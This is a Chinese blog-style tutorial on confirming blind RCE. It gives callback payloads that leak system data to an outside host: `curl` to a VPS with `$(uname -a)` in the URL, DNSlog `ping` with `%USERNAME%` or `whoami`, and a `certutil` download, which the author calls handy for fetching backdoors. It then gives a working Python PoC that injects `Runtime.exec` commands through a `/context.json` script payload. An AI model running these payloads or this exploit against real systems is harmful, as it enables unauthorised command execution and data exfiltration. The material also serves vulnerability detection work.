在检测RCE漏洞时,判断RCE利用成功的方式有哪些(无回显情况)
第一种使用curl:curl "xxx.xxx.xxx.xxx/$(uname -a | awk '{print $1}')"这条命令拼接了两处,第一处便是curl下我的一个vps服务器的80端口,第二处是显示内核版本。从服务器的web日志文件中看下效果:发现操作系统的版本被拼接输出到后面,在面对没有回显的RCE或者CSRF都可以使用这个技巧。第二种:DNSlogwindows:操作系统盲注方式w
第一种使用VPS:
curl "xxx.xxx.xxx.xxx/$(uname -a | awk '{print $1}')"
这条命令拼接了两处,第一处便是curl下我的一个vps服务器的80端口,第二处是显示内核版本。从服务器的web日志文件中看下效果:
发现操作系统的版本被拼接输出到后面,在面对没有回显的RCE或者CSRF都可以使用这个技巧。
第二种:DNSlog
windows:
操作系统 盲注方式
windows %variable%
linux variable 反引号
此处使用公网一个 DVWA 靶场( Windows 系统搭建)为例进行演示,Payload:
ping %USERNAME%.u4f95y.dnslog.cn
certutil -urlcache -split -f http://随机数.dnslog域名
curl hhhh.xk4fm7.dnslog.cn
(这里没有准备windows环境,大家可以自己搭建类似的RCE windows环境试试这个命令,很好用的一个下载后门的命令(误))
https://www.bilibili.com/read/cv9614552/ 出处:bilibili
Windows 常用变量:
//变量 类型 描述
//%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
//%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
//%CD% 本地 返回当前目录字符串。
//%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME% 系统 返回计算机的名称。
//%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
//%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
//%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH% 系统 指定可执行文件的搜索路径。
//%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
//%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION% 系统 返回处理器的版本号。
//%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME% 系统 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
//%USERDOMAIN%
本地 返回包含用户帐户的域的名称。
//%USERNAME% 本地 返回当前登录的用户的名称。
//%USERPROFILE% 本地 返回当前用户的配置文件的位置。
//%WINDIR% 系统 返回操作系统目录的位置。
linux
如果是 Linux 环境,则 Payload 对应的应该为:
ping `whoami`.u4f95y.dnslog.cn
curl 随机数.dnslog域名
wget 随机数.dnslog域名
作者:掌控安全学院 https://www.bilibili.com/read/cv9614552/ 出处:bilibili
第三种:自带http服务器
使用python3自带的http.server服务(python2为SimpleHTTPServer)
直接cmd启动
python -m http.server 8001 #这里的端口随便定义
修改一下执行的命令curl http://10.0.13.174:8001/awda
这里的IP就是你启动服务的主机IP
注意!!!一定要关闭防火墙
0x03 POC编写
1.编写一个简单的dnslog类,方便我们调用
class Dnslog():
def __init__(self):
self.getdnssub_url = 'http://www.dnslog.cn/getdomain.php'
self.getres_url = 'http://www.dnslog.cn/getrecords.php'
self.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X '
}
self.s = requests.session() #这里顶一个session,同一个session可以拿到之前获取到的子域名的日志啦
def req(self):#获取请求到的dnslog随机子域名
try:
req = self.s.get(url=self.getdnssub_url,headers=self.headers,allow_redirects=False,verify=False,timeout=30)
return req.text
except:
return None
def res(self):#获取dnslog随机子域名的dns查询日志
try:
res = self.s.get(url=self.getres_url,headers=self.headers,allow_redirects=False,verify=False,timeout=30)
return res.text
except:
return None
这个类内容很简单,就是获取www.dnglog.cn的子域名页面,拿到之后使用同一个session去访问dnslog日志即可
接下来我们写一下POC检测主程序,记得导入上面写的类,可以直接复制进去,也可以import方式导入,推荐import方式吧。方便以后扩展
#这里我们首先写一个用于监听端口的函数
def check_vul(ran_str,q,p): #启动socket TCP服务器
i = 0
while i < 10: #防止端口冲突,加上一个循环,用于报错之后可以换新的端口
try:
i += 1
host = '0.0.0.0'
lport = random.randint(62000,62999)
sk = socket.socket()
sk.settimeout(25)
# 开启地址复用
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((host, lport))
sk.listen(5)
p.put(lport)
break
except Exception as msg:
pass
try:
#print('wait for client port:' + str(lport))
time.sleep(10) #这里需要sleep一会儿不然速度太快conn中没有数据。
conn, address = sk.accept()
c_info = conn.recv(1024).decode('UTF-8')
http_uri_get = c_info.split('\n')[0]
if ran_str in http_uri_get:
sk.close()
q.put(http_uri_get) #由于我们这里的函数需要通过多线程来启动,因此我们要拿到这个函数的返回值需要通过queue队列来传递过来
else:
sk.close()
q.put(None)
except Exception:
q.put(None)
def payload(url,cmd): #为了介绍代码的重复利用,我们把发送payload这里写成一个函数,用来多次发送(针对不同的操作系统发送不同的payload)
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X ',
'Content-Type': 'application/json'
}
json_data = {
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"{}\");".format(cmd)
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
requests.post(url=url, headers=headers, timeout=15, verify=False, allow_redirects=False, json=json_data) #verify=False用于忽略ssl证书验证
#这里是主函数
def exploit(url):
urllib3.disable_warnings() #这里禁用掉ssl报错信息,防止访问https页面的时候会报ssl证书错误,
try:
ran_str = ''.join(random.sample(string.ascii_letters, 8)) #增加随机字符串,这里随机字符串主要用于RCE检测中提高检测准确率。
payload_path = '/context.json'
new_url = url + payload_path
#提取url中的IP和PORT
urlparse_oj = parse.urlparse(url)
ip = urlparse_oj.hostname
port=urlparse_oj.port
try:
iprule_re = re.compile('(10\x2e\d{1,3}\x2e\d{1,3}\x2e\d{1,3})|(172\x2e(1[6-9]|2[0-9]|3[0-1])\x2e\d{1,3}\x2e\d{1,3})|(192\x2e168\x2e\d{1,3}\x2e\d{1,3})') #做一个简单的内网IP地址判断,如果是内网IP,就使用socket tcpserver方法检测,否则使用dnslog检测
iprule_res = iprule_re.search(ip).group(0)
if bool(iprule_res) == True: #如何内网也想用IP地址判断,把这里的True改为False就ok
# 启动回连线程
q = Queue() #这个队列是用来接收漏洞判断结果的队列
p = Queue() #这个队列是用来将socket随机端口传出来告诉给主程序的队列
p3_check = Thread(target=check_vul, args=(ran_str, q, p))
p3_check.start()
# 获取本地IP和端口
sock = socket.socket(socket.AF_INET) #新建一个socket队列用于判断自身IP地址,用于目标服务器回连命令的构造
sock.connect((ip, int(port)))
sock.settimeout(30)
lhost = sock.getsockname()[0] #得到本地IP地址
lport = p.get() #通过p队列拿到socket服务器的随机端口
cmd_list = ['certutil -urlcache -split -f http://{}:{}/{}'.format(lhost, lport, ran_str),
'curl http://{}:{}/{}'.format(lhost, lport, ran_str)
] #构造windows和linux的两种命令执行检测payload
for cmd in cmd_list:
payload(new_url, cmd) # 将newurl和构造的cmd命令传入payload函数,用于发送payload包。这里我们直接连续发送windows和linux两种payload包。只要收到对应的回应即可说明漏洞存在
res = q.get()
if ran_str in res: #这里针对生成的随机字符串和实际socket服务器拿到的随机字符串进行对比,一致即表示漏洞存在。(其实这个判断再上面check_vul函数已经判断过了,这里并没有特别一定要用的意义啦23333)
return new_url
else:
return None
except:
pass
else: #如果并非内网IP,我们执行dnslog的方式来判断
dnslog_object = dnslog.Dnslog() #创建dnslog对象
get_dnssub = dnslog_object.req() #获取dnslog的随机子域名
cmd_list = ['certutil -urlcache -split -f http://{}.{}'.format(ran_str,get_dnssub),
'curl http://{}.{}'.format(ran_str,get_dnssub)
] #一样的构造相应的RCE payload
for cmd in cmd_list:
payload(new_url, cmd) # 与上面一样,发送payload数据包两遍
time.sleep(10) #这里通过一个10s的等待,等待一下dnslog接收日志,时间可以根据实际网络情况来调整
get_dnslog_res = dnslog_object.res()
if ran_str in get_dnslog_res: #如果随机字符串在dnslog的日志中,就说明漏洞存在
return new_url #返回漏洞url
else:
return None
except Exception as e:
print(e)
return None
print(exploit('http://10.0.13.125:8181')) #执行测试
1.socket服务器回连
2.dnslog
本文参照连接:
https://www.sohu.com/a/428977805_99907709
https://www.bilibili.com/read/cv9614552/
更多推荐
所有评论(0)